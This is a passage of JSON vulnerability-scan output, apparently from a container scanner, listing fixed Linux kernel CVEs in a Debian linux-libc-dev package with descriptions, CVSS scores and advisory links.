"https://git.kernel.org/stable/c/f99165ef067723221472ce1aff632bc74f562643", "https://lore.kernel.org/linux-cve-announce/2026052741-CVE-2026-45996-8dc5@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-45996", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8489-1", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://www.cve.org/CVERecord?id=CVE-2026-45996" ], "PublishedDate": "2026-05-27T14:17:17.18Z", "LastModifiedDate": "2026-11-06T17:17:28.85Z" }, { "VulnerabilityID": "CVE-2026-45998", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.86-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-45998", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:08b638e1a94334b9bd4dfa4bd996990ba6fa6f1c234acff96361e8dae4cbdf55", "Title": "kernel: rxrpc: Fix potential UAF after skb_unshare() failure", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nrxrpc: Fix potential UAF after skb_unshare() failure\n\nIf skb_unshare() fails to unshare a packet due to allocation failure in\nrxrpc_input_packet(), the skb pointer in the parent (rxrpc_io_thread())\nwill be NULL'd out. This will likely cause the call to\ntrace_rxrpc_rx_done() to oops.\n\nFix this by moving the unsharing down to where rxrpc_input_call_event()\ncalls rxrpc_input_call_packet(). There are a number of places prior to\nthat where we ignore DATA packets for a variety of reasons (such as the\ncall already being complete) for which an unshare is then avoided.\n\nAnd with that, rxrpc_input_packet() doesn't need to take a pointer to the\npointer to the packet, so change that to just a pointer.", "Severity": "HIGH", "CweIDs": [ "CWE-416", "CWE-825" ], "VendorSeverity": { "alma": 3, "azure": 2, "nvd": 3, "oracle-oval": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:34911", "https://access.redhat.com/errata/RHSA-2026:55445", "https://access.redhat.com/errata/RHSA-2026:65708", "https://access.redhat.com/errata/RHSA-2026:65712", "https://access.redhat.com/errata/RHSA-2026:67721", "https://access.redhat.com/errata/RHSA-2026:67723", "https://access.redhat.com/security/cve/CVE-2026-45998", "https://bugzilla.redhat.com/2467015", "https://bugzilla.redhat.com/2482024", "https://bugzilla.redhat.com/2482636", "https://bugzilla.redhat.com/2484451", "https://bugzilla.redhat.com/2486958", "https://bugzilla.redhat.com/2486982", "https://bugzilla.redhat.com/show_bug.cgi?id=2482024", "https://errata.almalinux.org/10/ALSA-2026-34911.html", "https://git.kernel.org/linus/1f2740150f904bfa60e4bad74d65add3ccb5e7f8%20%287.1-rc1%29", "https://git.kernel.org/stable/c/1f2740150f904bfa60e4bad74d65add3ccb5e7f8", "https://git.kernel.org/stable/c/8fde6296c4d4da2be7ab761305ab7f232b94eefd", "https://git.kernel.org/stable/c/996b0487b3cdda4c91811dbb1c9564626bc840bd", "https://git.kernel.org/stable/c/bf20f46d94f1db38e6ffc0ca204a5fe0de01b495", "https://git.kernel.org/stable/c/e3bf143b1e98fb3d6d9e6825bcd683974d478e8c", "https://linux.oracle.com/cve/CVE-2026-45998.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026052741-CVE-2026-45998-6b5d@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-45998", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-45998.json", "https://ubuntu.com/security/notices/USN-8370-1", "https://ubuntu.com/security/notices/USN-8371-1", "https://ubuntu.com/security/notices/USN-8373-1", "https://ubuntu.com/security/notices/USN-8374-1", "https://ubuntu.com/security/notices/USN-8393-1", "https://ubuntu.com/security/notices/USN-8440-1", "https://ubuntu.com/security/notices/USN-8461-1", "https://ubuntu.com/security/notices/USN-8489-1", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://www.cve.org/CVERecord?id=CVE-2026-45998" ], "PublishedDate": "2026-05-27T14:17:17.407Z", "LastModifiedDate": "2026-11-06T17:17:29.263Z" }, { "VulnerabilityID": "CVE-2026-46001", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.86-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46001", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:4f8541b8d047597b94cd7f73fcb9b408867529600cbabb48cc549759af9dbc67", "Title": "kernel: hwmon: (pt5161l) Fix bugs in pt5161l_read_block_data()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nhwmon: (pt5161l) Fix bugs in pt5161l_read_block_data()\n\nFix two bugs in pt5161l_read_block_data():\n\n1. Buffer overrun: The local buffer rbuf is declared as u8 rbuf[24],\n but i2c_smbus_read_block_data() can return up to\n I2C_SMBUS_BLOCK_MAX (32) bytes. The i2c-core copies the data into\n the caller's buffer before the return value can be checked, so\n the post-read length validation does not prevent a stack overrun\n if a device returns more than 24 bytes. Resize the buffer to\n I2C_SMBUS_BLOCK_MAX.\n\n2. Unexpected positive return on length mismatch: When all three\n retries are exhausted because the device returns data with an\n unexpected length, i2c_smbus_read_block_data() returns a positive\n byte count. The function returns this directly, and callers treat\n any non-negative return as success, processing stale or incomplete\n buffer contents. Return -EIO when retries are exhausted with a\n positive return value, preserving the negative error code on I2C\n failure.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "nvd": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-46001", "https://git.kernel.org/linus/24c73e93d6a756e1b8626bb259d2e07c5b89b370%20%287.1-rc1%29", "https://git.kernel.org/stable/c/24c73e93d6a756e1b8626bb259d2e07c5b89b370", "https://git.kernel.org/stable/c/7eccabff1c9ec15e4b6fe186d5c147b13a9cdb4e", "https://git.kernel.org/stable/c/95d48e37a1304d6148406c799479c0fb505aefa7", "https://git.kernel.org/stable/c/a11aa9c5fd9dfe62be7cfec1f2a7546afb77254c", "https://lore.kernel.org/linux-cve-announce/2026052742-CVE-2026-46001-8d51@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46001", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8489-1", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://www.cve.org/CVERecord?id=CVE-2026-46001" ], "PublishedDate": "2026-05-27T14:17:17.76Z", "LastModifiedDate": "2026-06-17T10:52:52.667Z" }, { "VulnerabilityID": "CVE-2026-46004", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.86-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46004", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0e3832f34403aa5beab4079dfb51670cd581c5ea2796dadb8376dc3a9b3d1904", "Title": "kernel: ALSA: caiaq: Handle probe errors properly", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nALSA: caiaq: Handle probe errors properly\n\nThe probe procedure of setup_card() in caiaq driver doesn't treat the\nerror cases gracefully, e.g. the error from snd_card_register() calls\nsnd_card_free() but continues. This would lead to a UAF for the\nfurther calls like snd_usb_caiaq_control_init(), as Berk suggested in\nanother patch in the link below.\n\nHowever, the problem is not only that; in general, this function drops\nthe all error handlings (as it's a void function) although its caller\ncan propagate an error to snd_probe(), which eventually calls\nsnd_card_free() as a proper error path. That said, we should treat\neach error case in setup_card(), and just return the error code\npromptly, which is then handled later as a fatal error in snd_probe().\n\nThis patch achieves it by changing the setup_card() to return an error\ncode. Also, the superfluous snd_card_free() call is removed, too.\n\nNote that card-\u003eprivate_free can be set still safely at returning an\nerror. All called functions in card_free() have checks of the\nunassigned resources or NULL checks.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "azure": 1, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-46004", "https://git.kernel.org/linus/28abd224db4a49560b452115bca3672a20e45b2f%20%287.1-rc1%29", "https://git.kernel.org/stable/c/09616e25f502080ba684fc7fcf959d1376ab756d", "https://git.kernel.org/stable/c/096dd8519cf2f768e9e14f224b627f7aaee1a9c5", "https://git.kernel.org/stable/c/28abd224db4a49560b452115bca3672a20e45b2f", "https://git.kernel.org/stable/c/6251e3e256337a30160ef59ab1580dde4d1acd28", "https://git.kernel.org/stable/c/b956e48371f2ff72b76be9a829800ecec963bd45", "https://git.kernel.org/stable/c/da938aa9fc7826901921dcea225948ab21a97e45", "https://git.kernel.org/stable/c/e59ecd4ee3a450db6cb4e4ecaa3efdd593f80056", "https://git.kernel.org/stable/c/f537e3ad69609f6924a4db6b4a7f6561f5288bdd", "https://linux.oracle.com/cve/CVE-2026-46004.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026052742-CVE-2026-46004-7e24@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46004", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8489-1", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-46004" ], "PublishedDate": "2026-05-27T14:17:18.12Z", "LastModifiedDate": "2026-11-06T17:17:29.92Z" }, { "VulnerabilityID": "CVE-2026-46006", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.86-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46006", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:641e8a0d3506287967579847d87ded43aacd868844bd21b9ab3bd6e13f92c5b7", "Title": "kernel: drm/nouveau: fix u32 overflow in pushbuf reloc bounds check", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/nouveau: fix u32 overflow in pushbuf reloc bounds check\n\nnouveau_gem_pushbuf_reloc_apply() validates each relocation with\n\n if (r-\u003ereloc_bo_offset + 4 \u003e nvbo-\u003ebo.base.size)\n\nbut reloc_bo_offset is __u32 (uapi/drm/nouveau_drm.h) and the integer\nliteral 4 promotes to unsigned int, so the addition is performed in 32\nbits and wraps before the comparison against the size_t bo size.\n\nCast to u64 so the addition happens in 64-bit arithmetic.\n\n[ Add Fixes: tag. - Danilo ]", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 3 }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-46006", "https://git.kernel.org/linus/2fc87d37be1b730a149b035f9375fdb8cc5333a5%20%287.1-rc1%29", "https://git.kernel.org/stable/c/2fc87d37be1b730a149b035f9375fdb8cc5333a5", "https://git.kernel.org/stable/c/332884f5eb79dd60a7162b079d09d39208567a31", "https://git.kernel.org/stable/c/3429275684f4bad42876955301f3c5c814aae909", "https://git.kernel.org/stable/c/45a45184b9c0b0b26ead06e370cda2073616a7cc", "https://git.kernel.org/stable/c/573a1104bd36e49c067a9dc62e7c476d5ee7e92a", "https://git.kernel.org/stable/c/d749a9a0ee4014681487e7ae549901aa8c176637", "https://git.kernel.org/stable/c/e441d5c23ec644c8d27593db3b8928e8933512a9", "https://git.kernel.org/stable/c/fa297e919d1680c38ab268ff952b1698dac987f6", "https://linux.oracle.com/cve/CVE-2026-46006.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026052743-CVE-2026-46006-2a21@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46006", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8489-1", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-46006" ], "PublishedDate": "2026-05-27T14:17:18.353Z", "LastModifiedDate": "2026-06-19T13:16:31.807Z" }, { "VulnerabilityID": "CVE-2026-46022", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.86-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46022", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:688277f1339f4f3d6dd327743281c229a60b22b4c47ec1f6379851fdb8ef5c86", "Title": "kernel: misc: ibmasm: fix OOB MMIO read in ibmasm_handle_mouse_interrupt()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nmisc: ibmasm: fix OOB MMIO read in ibmasm_handle_mouse_interrupt()\n\nibmasm_handle_mouse_interrupt() performs an out-of-bounds MMIO read\nwhen the queue reader or writer index from hardware exceeds\nREMOTE_QUEUE_SIZE (60).\n\nA compromised service processor can trigger this by writing an\nout-of-range value to the reader or writer MMIO register before\nasserting an interrupt. Since writer is re-read from hardware on\nevery loop iteration, it can also be set to an out-of-range value\nafter the loop has already started.\n\nThe root cause is that get_queue_reader() and get_queue_writer() return\nraw readl() values that are passed directly into get_queue_entry(),\nwhich computes:\n\n queue_begin + reader * sizeof(struct remote_input)\n\nwith no bounds check. This unchecked MMIO address is then passed to\nmemcpy_fromio(), reading 8 bytes from unintended device registers.\nFor sufficiently large values the address falls outside the PCI BAR\nmapping entirely, triggering a machine check exception.\n\nFix by checking both indices against REMOTE_QUEUE_SIZE at the top of\nthe loop body, before any call to get_queue_entry(). On an out-of-range\nvalue, reset the reader register to 0 via set_queue_reader() before\nbreaking, so that normal queue operation can resume if the corrupted\nhardware state is transient.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "azure": 2, "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-46022", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/4b6e6ead556734bdc14024c5f837132b1e7a4b84%20%287.1-rc1%29", "https://git.kernel.org/stable/c/07c4f18b303106e6b24492c12b95d48a4b985841", "https://git.kernel.org/stable/c/1ca75f6b74ec7f685464e5745ecfcf3a76d284e9", "https://git.kernel.org/stable/c/22a16d3eafee92a165c756081587c95850127107", "https://git.kernel.org/stable/c/4b6e6ead556734bdc14024c5f837132b1e7a4b84", "https://git.kernel.org/stable/c/6f6ecc9153df176e956d0664b56f93080b0a45f0", "https://git.kernel.org/stable/c/bac8643486f854dd53af9b23aea7dbbd9b7c1865", "https://git.kernel.org/stable/c/f7e5b4eefd7be3e09f8bd5fee63ed478fd7446ab", "https://git.kernel.org/stable/c/fc7e9a74e32299d7e93e178ca482a0b59ef1595b", "https://kernelcve.org/list/?q=CVE-2026-46022", "https://lore.kernel.org/linux-cve-announce/2026052747-CVE-2026-46022-f6dc@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46022", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8489-1", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-46022" ], "PublishedDate": "2026-05-27T14:17:20.67Z", "LastModifiedDate": "2026-10-15T02:19:38.767Z" }, { "VulnerabilityID": "CVE-2026-46033", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.86-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46033", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:4d38ba0b821e6906b1d186fef57b72c828eec8a473bf0d480ed41a752c80d888", "Title": "kernel: crypto: authencesn - reject short ahash digests during instance creation", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ncrypto: authencesn - reject short ahash digests during instance creation\n\nauthencesn requires either a zero authsize or an authsize of at least\n4 bytes because the ESN encrypt/decrypt paths always move 4 bytes of\nhigh-order sequence number data at the end of the authenticated data.\n\nWhile crypto_authenc_esn_setauthsize() already rejects explicit\nnon-zero authsizes in the range 1..3, crypto_authenc_esn_create()\nstill copied auth-\u003edigestsize into inst-\u003ealg.maxauthsize without\nvalidating it. The AEAD core then initialized the tfm's default\nauthsize from that value.\n\nAs a result, selecting an ahash with digest size 1..3, such as\ncbcmac(cipher_null), exposed authencesn instances whose default\nauthsize was invalid even though setauthsize() would have rejected the\nsame value. AF_ALG could then trigger the ESN tail handling with a\ntoo-short tag and hit an out-of-bounds access.\n\nReject authencesn instances whose ahash digest size is in the invalid\nnon-zero range 1..3 so that no tfm can inherit an unsupported default\nauthsize.", "Severity": "HIGH", "CweIDs": [ "CWE-125", "CWE-1284" ], "VendorSeverity": { "amazon": 3, "azure": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-46033", "https://bugzilla.redhat.com/show_bug.cgi?id=2482000", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/5db6ef9847717329f12c5ea8aba7e9f588a980c0%20%287.1-rc2%29", "https://git.kernel.org/stable/c/2f31cd1e64a079c845bca31d2da7b3c90a311726", "https://git.kernel.org/stable/c/5db6ef9847717329f12c5ea8aba7e9f588a980c0", "https://git.kernel.org/stable/c/67f1f0933cc3d78dde222842bcad2778ec7a0b88", "https://git.kernel.org/stable/c/77f59fb2d3aa33e90ec6cbbf45dcfb20ab82b1a9", "https://git.kernel.org/stable/c/9aff81e8217e9de2929084b03b3c7f81988c112b", "https://git.kernel.org/stable/c/b42821c15445f93daea3e76ada682b2b7181c476", "https://git.kernel.org/stable/c/b69933e97efea238ebbfcf70c2b1be1cd03f13e3", "https://git.kernel.org/stable/c/d4c6a6d08e70bb1083c7c405fc7faacbf19aebc0", "https://linux.oracle.com/cve/CVE-2026-46033.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026052749-CVE-2026-46033-dcad@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46033", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-46033.json", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8489-1", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-46033" ], "PublishedDate": "2026-05-27T14:17:22.313Z", "LastModifiedDate": "2026-11-06T17:17:31.87Z" }, { "VulnerabilityID": "CVE-2026-46047", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.86-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46047", "DataSource": { "ID": "debian", "Name": "Debian 